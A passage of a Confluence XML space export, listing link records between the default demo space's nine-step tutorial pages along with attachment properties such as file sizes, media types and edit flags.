<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196640</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196641</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196634</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196635</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196636</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196637</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196630</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196631</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196632</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196633</id>
<property name="destinationPageTitle"><![CDATA[Get serious with a table (step 5 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[get serious with a table (step 5 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196626</id>
<property name="destinationPageTitle"><![CDATA[Learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[learn the wonders of autoconvert (step 7 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196627</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196628</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98321</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196629</id>
<property name="destinationPageTitle"><![CDATA[Prettify the page with an image (step 4 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[prettify the page with an image (step 4 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196622</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196623</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196624</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262272</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196625</id>
<property name="destinationPageTitle"><![CDATA[A quick look at the editor (step 2 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[a quick look at the editor (step 2 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262271</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">14</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196618</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262270</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196619</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262269</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9061</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196620</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262268</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196621</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262267</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196614</id>
<property name="destinationPageTitle"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262266</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196615</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98305</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262265</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196616</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262264</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9592</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196617</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98306</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262263</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196610</id>
<property name="destinationPageTitle"><![CDATA[Let's edit this page (step 3 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[let's edit this page (step 3 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262262</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196611</id>
<property name="destinationPageTitle"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262261</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196612</id>
<property name="destinationPageTitle"><![CDATA[Welcome to Confluence]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[welcome to confluence]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262260</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196613</id>
<property name="destinationPageTitle"><![CDATA[Lay out your page (step 6 of 9)]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[lay out your page (step 6 of 9)]]></property>
<property name="destinationSpaceKey"><![CDATA[ds]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[ds]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262259</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">34478</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262258</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262257</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262256</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">6988</property>
<property name="dateValue"/></object>
<object class="OutgoingLink" package="com.atlassian.confluence.links">
<id name="id">196609</id>
<property name="destinationPageTitle"><![CDATA[//youtu.be/RXhL9cfwx2c]]></property>
<property name="lowerDestinationPageTitle"><![CDATA[//youtu.be/rxhl9cfwx2c]]></property>
<property name="destinationSpaceKey"><![CDATA[https]]></property>
<property name="lowerDestinationSpaceKey"><![CDATA[https]]></property>
<property name="sourceContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98314</id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
</object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262255</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262254</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262253</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">88136</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262252</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262251</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262250</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2144</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262249</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262248</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262247</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">109868</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262246</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262245</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262244</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262243</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262242</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262241</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262240</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262239</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">47510</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262238</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">3070</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262237</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262236</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262235</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262234</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">15296</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262233</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2131</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262232</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9446</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262231</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262230</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262229</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2398</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262228</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262227</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262226</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262225</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262224</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262223</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262222</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262221</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262220</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262219</id>
<property name="name"><![CDATA[FILESIZE]]></property>
